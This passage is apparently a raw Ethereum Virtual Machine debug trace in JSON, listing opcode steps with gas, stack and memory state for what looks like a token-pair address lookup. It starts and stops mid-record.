0000000000000000000000000000000000080"]},{"pc":1749,"op":"PUSH1","gas":103794,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1751,"op":"SHL","gas":103791,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1752,"op":"SUB","gas":103788,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1753,"op":"DUP2","gas":103785,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1754,"op":"AND","gas":103782,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1755,"op":"DUP2","gas":103779,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1756,"op":"EQ","gas":103776,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1757,"op":"PUSH2","gas":103773,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1760,"op":"JUMPI","gas":103770,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x6e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1765,"op":"JUMPDEST","gas":103760,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1766,"op":"SWAP2","gas":103759,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1767,"op":"SWAP1","gas":103756,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1768,"op":"POP","gas":103753,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1769,"op":"JUMP","gas":103751,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1812,"op":"JUMPDEST","gas":103743,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1813,"op":"SWAP1","gas":103742,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1814,"op":"POP","gas":103739,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1815,"op":"SWAP3","gas":103737,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1816,"op":"POP","gas":103734,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1817,"op":"SWAP3","gas":103732,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1818,"op":"SWAP1","gas":103729,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1819,"op":"POP","gas":103726,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1b9","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1820,"op":"JUMP","gas":103724,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":441,"op":"JUMPDEST","gas":103716,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":442,"op":"PUSH1","gas":103715,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":444,"op":"PUSH1","gas":103712,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":446,"op":"SWAP1","gas":103709,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":447,"op":"DUP2","gas":103706,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":448,"op":"MSTORE","gas":103703,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":449,"op":"PUSH1","gas":103700,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":451,"op":"SWAP3","gas":103697,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":452,"op":"DUP4","gas":103694,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":453,"op":"MSTORE","gas":103691,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":454,"op":"PUSH1","gas":103688,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":456,"op":"DUP1","gas":103685,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":457,"op":"DUP5","gas":103682,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":458,"op":"KECCAK256","gas":103679,"gasCost":42,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x40","0x0"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":459,"op":"SWAP1","gas":103637,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":460,"op":"SWAP2","gas":103634,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":461,"op":"MSTORE","gas":103631,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0x20"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":462,"op":"SWAP1","gas":103628,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":463,"op":"DUP3","gas":103625,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":464,"op":"MSTORE","gas":103622,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":465,"op":"SWAP1","gas":103619,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":466,"op":"KECCAK256","gas":103616,"gasCost":42,"depth":2,"stack":["0xe6a43905","0xd6","0x40","0x0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":467,"op":"SLOAD","gas":103574,"gasCost":100,"depth":2,"stack":["0xe6a43905","0xd6","0x431874daeb80cf49dba3f4eefe37604bc47b25379be3bc67ca2e9bfd0da83096"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":468,"op":"PUSH1","gas":103474,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":470,"op":"PUSH1","gas":103471,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":472,"op":"PUSH1","gas":103468,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":474,"op":"SHL","gas":103465,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":475,"op":"SUB","gas":103462,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":476,"op":"AND","gas":103459,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":477,"op":"DUP2","gas":103456,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":478,"op":"JUMP","gas":103453,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xd6"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":214,"op":"JUMPDEST","gas":103445,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":215,"op":"PUSH1","gas":103444,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":217,"op":"MLOAD","gas":103441,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":218,"op":"PUSH1","gas":103438,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":220,"op":"PUSH1","gas":103435,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":222,"op":"PUSH1","gas":103432,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":224,"op":"SHL","gas":103429,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x1","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":225,"op":"SUB","gas":103426,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":226,"op":"SWAP1","gas":103423,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":227,"op":"SWAP2","gas":103420,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":228,"op":"AND","gas":103417,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":229,"op":"DUP2","gas":103414,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":230,"op":"MSTORE","gas":103411,"gasCost":9,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":231,"op":"PUSH1","gas":103402,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":233,"op":"ADD","gas":103399,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x20"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":234,"op":"JUMPDEST","gas":103396,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":235,"op":"PUSH1","gas":103395,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":237,"op":"MLOAD","gas":103392,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":238,"op":"DUP1","gas":1033